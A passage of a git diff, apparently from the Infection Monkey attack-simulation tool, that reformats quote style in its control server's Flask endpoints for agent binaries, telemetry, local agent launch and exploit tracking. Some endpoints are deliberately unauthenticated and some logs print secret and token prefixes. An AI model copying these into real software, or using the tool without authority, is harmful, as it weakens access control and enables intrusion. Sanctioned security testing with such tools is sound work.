'T1216_random_executable.exe' - return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'), - filename=executable_file_name) + executable_file_name = "T1216_random_executable.exe" + return send_from_directory( + directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), + filename=executable_file_name, + ) diff --git a/monkey/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py index e593a854b45..a37455d11f1 100644 --- a/monkey/monkey_island/cc/resources/__init__.py +++ b/monkey/monkey_island/cc/resources/__init__.py @@ -1 +1 @@ -__author__ = 'Barak' +__author__ = "Barak" diff --git a/monkey/monkey_island/cc/resources/attack/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py index 98867ed4d51..4dc53e2ca3d 100644 --- a/monkey/monkey_island/cc/resources/attack/__init__.py +++ b/monkey/monkey_island/cc/resources/attack/__init__.py @@ -1 +1 @@ -__author__ = 'VakarisZ' +__author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index 532b1fb4f88..570882dbd03 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -10,11 +10,16 @@ class AttackConfiguration(flask_restful.Resource): @jwt_required def get(self): - return current_app.response_class(json.dumps({"configuration": AttackConfig.get_config()}, - indent=None, - separators=(",", ":"), - sort_keys=False) + "\n", - mimetype=current_app.config['JSONIFY_MIMETYPE']) + return current_app.response_class( + json.dumps( + {"configuration": AttackConfig.get_config()}, + indent=None, + separators=(",", ":"), + sort_keys=False, + ) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], + ) @jwt_required def post(self): @@ -23,10 +28,10 @@ def post(self): :return: Technique types dict with techniques on reset and nothing on update """ config_json = json.loads(request.data) - if 'reset_attack_matrix' in config_json: + if "reset_attack_matrix" in config_json: AttackConfig.reset_config() return jsonify(configuration=AttackConfig.get_config()) else: - AttackConfig.update_config({'properties': json.loads(request.data)}) + AttackConfig.update_config({"properties": json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py index 779c436c57b..72860cab74b 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -9,12 +9,14 @@ class AttackReport(flask_restful.Resource): - @jwt_required def get(self): - response_content = {'techniques': AttackReportService.get_latest_report()['techniques'], 'schema': SCHEMA} - return current_app.response_class(json.dumps(response_content, - indent=None, - separators=(",", ":"), - sort_keys=False) + "\n", - mimetype=current_app.config['JSONIFY_MIMETYPE']) + response_content = { + "techniques": AttackReportService.get_latest_report()["techniques"], + "schema": SCHEMA, + } + return current_app.response_class( + json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], + ) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index b188955d82f..47d68fb1a08 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -18,7 +18,9 @@ def init_jwt(app): user_store.UserStore.set_users(env_singleton.env.get_auth_users()) _ = flask_jwt_extended.JWTManager(app) - logger.debug("Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4]) + logger.debug( + "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] + ) class Authenticate(flask_restful.Resource): @@ -26,10 +28,11 @@ class Authenticate(flask_restful.Resource): Resource for user authentication. The user provides the username and hashed password and we give them a JWT. See `AuthService.js` file for the frontend counterpart for this code. """ + @staticmethod def _authenticate(username, secret): user = user_store.UserStore.username_table.get(username, None) - if user and safe_str_cmp(user.secret.encode('utf-8'), secret.encode('utf-8')): + if user and safe_str_cmp(user.secret.encode("utf-8"), secret.encode("utf-8")): return user def post(self): @@ -47,8 +50,11 @@ def post(self): # If the user and password have been previously registered if self._authenticate(username, secret): access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id) - logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") + identity=user_store.UserStore.username_table[username].id + ) + logger.debug( + f"Created access token for user {username} that begins with {access_token[:4]}" + ) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) diff --git a/monkey/monkey_island/cc/resources/auth/auth_user.py b/monkey/monkey_island/cc/resources/auth/auth_user.py index d75c751ea93..2661e7bd0e8 100644 --- a/monkey/monkey_island/cc/resources/auth/auth_user.py +++ b/monkey/monkey_island/cc/resources/auth/auth_user.py @@ -1,4 +1,4 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class User(object): diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index b27116aa9d0..e5ca99232e1 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -8,7 +8,7 @@ class Registration(flask_restful.Resource): def get(self): - return {'needs_registration': env_singleton.env.needs_registration()} + return {"needs_registration": env_singleton.env.needs_registration()} def post(self): credentials = UserCreds.get_from_json(request.data) diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py index e722035aed6..b228b9eea18 100644 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ b/monkey/monkey_island/cc/resources/bootloader.py @@ -11,9 +11,9 @@ class Bootloader(flask_restful.Resource): # Used by monkey. can't secure. def post(self, os): - if os == 'linux': + if os == "linux": data = Bootloader._get_request_contents_linux(request.data) - elif os == 'windows': + elif os == "windows": data = Bootloader._get_request_contents_windows(request.data) else: return make_response({"status": "OS_NOT_FOUND"}, 404) @@ -27,10 +27,13 @@ def post(self, os): @staticmethod def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: - parsed_data = json.loads(request_data.decode().replace("\"\n", "") - .replace("\n", "") - .replace("NAME=\"", "") - .replace("\":\",", "\":\"\",")) + parsed_data = json.loads( + request_data.decode() + .replace('"\n', "") + .replace("\n", "") + .replace('NAME="', "") + .replace('":",', '":"",') + ) return parsed_data @staticmethod diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py index 5db86627cf0..83d780aa4d8 100644 --- a/monkey/monkey_island/cc/resources/bootloader_test.py +++ b/monkey/monkey_island/cc/resources/bootloader_test.py @@ -4,52 +4,57 @@ class TestBootloader(TestCase): - def test_get_request_contents_linux(self): - data_without_tunnel = b'{"system":"linux", ' \ - b'"os_version":"NAME="Ubuntu"\n", ' \ - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ - b'"hostname":"test-TEST", ' \ - b'"tunnel":false, ' \ - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - data_with_tunnel = b'{"system":"linux", ' \ - b'"os_version":"NAME="Ubuntu"\n", ' \ - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ - b'"hostname":"test-TEST", ' \ - b'"tunnel":"192.168.56.1:5002", ' \ - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + data_without_tunnel = ( + b'{"system":"linux", ' + b'"os_version":"NAME="Ubuntu"\n", ' + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' + b'"hostname":"test-TEST", ' + b'"tunnel":false, ' + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + ) + data_with_tunnel = ( + b'{"system":"linux", ' + b'"os_version":"NAME="Ubuntu"\n", ' + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' + b'"hostname":"test-TEST", ' + b'"tunnel":"192.168.56.1:5002", ' + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + ) result1 = Bootloader._get_request_contents_linux(data_without_tunnel) - self.assertTrue(result1['system'] == "linux") - self.assertTrue(result1['os_version'] == "Ubuntu") - self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result1['hostname'] == "test-TEST") - self.assertFalse(result1['tunnel']) - self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + self.assertTrue(result1["system"] == "linux") + self.assertTrue(result1["os_version"] == "Ubuntu") + self.assertTrue(result1["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result1["hostname"] == "test-TEST") + self.assertFalse(result1["tunnel"]) + self.assertTrue(result1["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) result2 = Bootloader._get_request_contents_linux(data_with_tunnel) - self.assertTrue(result2['system'] == "linux") - self.assertTrue(result2['os_version'] == "Ubuntu") - self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result2['hostname'] == "test-TEST") - self.assertTrue(result2['tunnel'] == "192.168.56.1:5002") - self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + self.assertTrue(result2["system"] == "linux") + self.assertTrue(result2["os_version"] == "Ubuntu") + self.assertTrue(result2["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result2["hostname"] == "test-TEST") + self.assertTrue(result2["tunnel"] == "192.168.56.1:5002") + self.assertTrue(result2["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) def test_get_request_contents_windows(self): - windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \ - b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \ - b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \ - b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \ - b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \ - b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \ - b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \ - b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \ - b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \ - b'\x001\x00"\x00]\x00}\x00' + windows_data = ( + b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' + b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' + b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' + b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' + b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' + b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' + b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' + b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' + b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' + b'\x001\x00"\x00]\x00}\x00' + ) result = Bootloader._get_request_contents_windows(windows_data) - self.assertTrue(result['system'] == "windows") - self.assertTrue(result['os_version'] == "windows8_or_greater") - self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B") - self.assertFalse(result['tunnel']) - self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) + self.assertTrue(result["system"] == "windows") + self.assertTrue(result["os_version"] == "windows8_or_greater") + self.assertTrue(result["hostname"] == "DESKTOP-PJHU36B") + self.assertFalse(result["tunnel"]) + self.assertTrue(result["ips"] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/monkey/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py index 2396ba9b0ec..d747cbde61a 100644 --- a/monkey/monkey_island/cc/resources/client_run.py +++ b/monkey/monkey_island/cc/resources/client_run.py @@ -5,7 +5,7 @@ from monkey_island.cc.services.node import NodeService -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py index 3d284e82cc9..4985d8a4d00 100644 --- a/monkey/monkey_island/cc/resources/edge.py +++ b/monkey/monkey_island/cc/resources/edge.py @@ -3,12 +3,12 @@ from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService -__author__ = 'Barak' +__author__ = "Barak" class Edge(flask_restful.Resource): def get(self): - edge_id = request.args.get('id') + edge_id = request.args.get("id") displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id) if edge_id: return {"edge": displayed_edge} diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py index 9f9a891057e..03333b029d6 100644 --- a/monkey/monkey_island/cc/resources/environment.py +++ b/monkey/monkey_island/cc/resources/environment.py @@ -12,8 +12,10 @@ class Environment(flask_restful.Resource): def patch(self): env_data = json.loads(request.data) - if env_data['server_config'] == "standard": + if env_data["server_config"] == "standard": if env_singleton.env.needs_registration(): env_singleton.set_to_standard() - logger.warning("No user registered, Island on standard mode - no credentials required to access.") + logger.warning( + "No user registered, Island on standard mode - no credentials required to access." + ) return {} diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py index b8a55601615..42730e477bc 100644 --- a/monkey/monkey_island/cc/resources/island_configuration.py +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -10,13 +10,15 @@ class IslandConfiguration(flask_restful.Resource): @jwt_required def get(self): - return jsonify(schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True, True)) + return jsonify( + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True), + ) @jwt_required def post(self): config_json = json.loads(request.data) - if 'reset' in config_json: + if "reset" in config_json: ConfigService.reset_config() else: if not ConfigService.update_config(config_json, should_encrypt=True): diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py index b643f21472e..0aa1f6480d2 100644 --- a/monkey/monkey_island/cc/resources/island_logs.py +++ b/monkey/monkey_island/cc/resources/island_logs.py @@ -16,4 +16,4 @@ def get(self): try: return IslandLogService.get_log_file() except Exception: - logger.error('Monkey Island logs failed to download', exc_info=True) + logger.error("Monkey Island logs failed to download", exc_info=True) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 0758d40c26d..021df512a2e 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -15,7 +15,7 @@ from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService -__author__ = 'Barak' +__author__ = "Barak" logger = logging.getLogger(__name__) @@ -31,25 +31,28 @@ def run_local_monkey(): if not result: return False, "OS Type not found" - monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename']) - target_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, result['filename']) + monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) + target_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, result["filename"]) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: - logger.error('Copy file failed', exc_info=True) + logger.error("Copy file failed", exc_info=True) return False, "Copy file failed: %s" % exc # run the monkey try: - args = ['"%s" m0nk3y -s %s:%s' % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port())] + args = [ + '"%s" m0nk3y -s %s:%s' + % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) + ] if sys.platform == "win32": args = "".join(args) subprocess.Popen(args, shell=True).pid except Exception as exc: - logger.error('popen failed', exc_info=True) + logger.error("popen failed", exc_info=True) return False, "popen failed: %s" % exc return True, "" @@ -70,9 +73,9 @@ def get(self): @jwt_required def post(self): body = json.loads(request.data) - if body.get('action') == 'run': + if body.get("action") == "run": local_run = run_local_monkey() return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action - return make_response({'error': 'Invalid action'}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index 0d437d17424..aae23fed3a5 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -16,8 +16,8 @@ class Log(flask_restful.Resource): @jwt_required def get(self): - monkey_id = request.args.get('id') - exists_monkey_id = request.args.get('exists') + monkey_id = request.args.get("id") + exists_monkey_id = request.args.get("exists") if monkey_id: return LogService.get_log_by_monkey_id(ObjectId(monkey_id)) else: @@ -28,9 +28,9 @@ def get(self): def post(self): telemetry_json = json.loads(request.data) - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])['_id'] + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"] # This shouldn't contain any unicode characters. this'll take 2 time less space. - log_data = str(telemetry_json['log']) + log_data = str(telemetry_json["log"]) log_id = LogService.add_log(monkey_id, log_data) return mongo.db.log.find_one_or_404({"_id": log_id}) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 0e6fe037004..9f5c9670b57 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -13,7 +13,7 @@ from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService -__author__ = 'Barak' +__author__ = "Barak" # TODO: separate logic from interface @@ -25,11 +25,11 @@ class Monkey(flask_restful.Resource): def get(self, guid=None, **kw): NodeService.update_dead_monkeys() # refresh monkeys status if not guid: - guid = request.args.get('guid') + guid = request.args.get("guid") if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) + monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) return monkey_json return {} @@ -38,23 +38,23 @@ def get(self, guid=None, **kw): @TestTelemStore.store_test_telem def patch(self, guid): monkey_json = json.loads(request.data) - update = {"$set": {'modifytime': datetime.now()}} + update = {"$set": {"modifytime": datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) - if 'keepalive' in monkey_json: - update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) + if "keepalive" in monkey_json: + update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) else: - update['$set']['keepalive'] = datetime.now() - if 'config' in monkey_json: - update['$set']['config'] = monkey_json['config'] - if 'config_error' in monkey_json: - update['$set']['config_error'] = monkey_json['config_error'] - - if 'tunnel' in monkey_json: - tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") + update["$set"]["keepalive"] = datetime.now() + if "config" in monkey_json: + update["$set"]["config"] = monkey_json["config"] + if "config_error" in monkey_json: + update["$set"]["config_error"] = monkey_json["config_error"] + + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - update['$set']['ttl_ref'] = ttl.id + update["$set"]["ttl_ref"] = ttl.id return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) @@ -63,14 +63,14 @@ def patch(self, guid): @TestTelemStore.store_test_telem def post(self, **kw): monkey_json = json.loads(request.data) - monkey_json['creds'] = [] - monkey_json['dead'] = False - if 'keepalive' in monkey_json: - monkey_json['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) + monkey_json["creds"] = [] + monkey_json["dead"] = False + if "keepalive" in monkey_json: + monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) else: - monkey_json['keepalive'] = datetime.now() + monkey_json["keepalive"] = datetime.now() - monkey_json['modifytime'] = datetime.now() + monkey_json["modifytime"] = datetime.now() ConfigService.save_initial_config_if_needed() @@ -79,47 +79,63 @@ def post(self, **kw): # Update monkey configuration new_config = ConfigService.get_flat_config(False, False) - monkey_json['config'] = monkey_json.get('config', {}) - monkey_json['config'].update(new_config) + monkey_json["config"] = monkey_json.get("config", {}) + monkey_json["config"].update(new_config) # try to find new monkey parent - parent = monkey_json.get('parent') - parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run - if parent and parent != monkey_json.get('guid'): # current parent is known - exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, - 'data.result': {'$eq': True}, - 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, - 'monkey_guid': {'$eq': parent}})] + parent = monkey_json.get("parent") + parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run + if parent and parent != monkey_json.get("guid"): # current parent is known + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + "monkey_guid": {"$eq": parent}, + } + ) + ] if 1 == len(exploit_telem): - parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) else: parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: - exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, - 'data.result': {'$eq': True}, - 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] + elif (not parent or parent == monkey_json.get("guid")) and "ip_addresses" in monkey_json: + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + } + ) + ] if 1 == len(exploit_telem): - parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) if not db_monkey: - monkey_json['parent'] = [parent_to_add] + monkey_json["parent"] = [parent_to_add] else: - monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] + monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] tunnel_host_ip = None - if 'tunnel' in monkey_json: - tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") - monkey_json.pop('tunnel') + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") + monkey_json.pop("tunnel") ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - monkey_json['ttl_ref'] = ttl.id + monkey_json["ttl_ref"] = ttl.id - mongo.db.monkey.update({"guid": monkey_json["guid"]}, - {"$set": monkey_json}, - upsert=True) + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) # Merge existing scanned node with new monkey @@ -128,13 +144,14 @@ def post(self, **kw): if tunnel_host_ip is not None: NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) - existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) + existing_node = mongo.db.node.find_one( + {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} + ) if existing_node: node_id = existing_node["_id"] - EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, - new_dst_node_id=new_monkey_id) - for creds in existing_node['creds']: + EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) + for creds in existing_node["creds"]: NodeService.add_credentials_to_monkey(new_monkey_id, creds) mongo.db.node.remove({"_id": node_id}) diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index e6b94cf8174..d4e415e8861 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -6,18 +6,21 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -__author__ = 'Barak' +__author__ = "Barak" class MonkeyConfiguration(flask_restful.Resource): @jwt_required def get(self): - return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config(False, True)) + return jsonify( + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True), + ) @jwt_required def post(self): config_json = json.loads(request.data) - if 'reset' in config_json: + if "reset" in config_json: ConfigService.reset_config() else: if not ConfigService.update_config(config_json, should_encrypt=True): diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py index 552dce51e29..f0d7e411f52 100644 --- a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py +++ b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py @@ -11,6 +11,6 @@ class StartedOnIsland(flask_restful.Resource): # Used by monkey. can't secure. def post(self): data = json.loads(request.data) - if data['started_on_island']: + if data["started_on_island"]: ConfigService.set_started_on_island(True) return make_response({}, 200) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index c9d3127a4bb..5620425aa07 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -8,64 +8,67 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -__author__ = 'Barak' +__author__ = "Barak" logger = logging.getLogger(__name__) MONKEY_DOWNLOADS = [ { - 'type': 'linux', - 'machine': 'x86_64', - 'filename': 'monkey-linux-64', + "type": "linux", + "machine": "x86_64", + "filename": "monkey-linux-64", }, { - 'type': 'linux', - 'machine': 'i686', - 'filename': 'monkey-linux-32', + "type": "linux", + "machine": "i686", + "filename": "monkey-linux-32", }, { - 'type': 'linux', - 'machine': 'i386', - 'filename': 'monkey-linux-32', + "type": "linux", + "machine": "i386", + "filename": "monkey-linux-32", }, { - 'type': 'linux', - 'filename': 'monkey-linux-64', + "type": "linux", + "filename": "monkey-linux-64", }, { - 'type': 'windows', - 'machine': 'x86', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "machine": "x86", + "filename": "monkey-windows-32.exe", }, { - 'type': 'windows', - 'machine': 'amd64', - 'filename': 'monkey-windows-64.exe', + "type": "windows", + "machine": "amd64", + "filename": "monkey-windows-64.exe", }, { - 'type': 'windows', - 'machine': '64', - 'filename': 'monkey-windows-64.exe', + "type": "windows", + "machine": "64", + "filename": "monkey-windows-64.exe", }, { - 'type': 'windows', - 'machine': '32', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "machine": "32", + "filename": "monkey-windows-32.exe", }, { - 'type': 'windows', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "filename": "monkey-windows-32.exe", }, ] def get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: - if host_os == download.get('type') and machine == download.get('machine'): - logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) + if host_os == download.get("type") and machine == download.get("machine"): + logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) return download - logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' - .format(host_os, machine)) + logger.warning( + "No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}".format( + host_os, machine + ) + ) return None @@ -73,28 +76,28 @@ class MonkeyDownload(flask_restful.Resource): # Used by monkey. can't secure. def get(self, path): - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries'), path) + return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path) # Used by monkey. can't secure. def post(self): host_json = json.loads(request.data) - host_os = host_json.get('os') + host_os = host_json.get("os") if host_os: - result = get_monkey_executable(host_os.get('type'), host_os.get('machine')) + result = get_monkey_executable(host_os.get("type"), host_os.get("machine")) if result: # change resulting from new base path - executable_filename = result['filename'] + executable_filename = result["filename"] real_path = 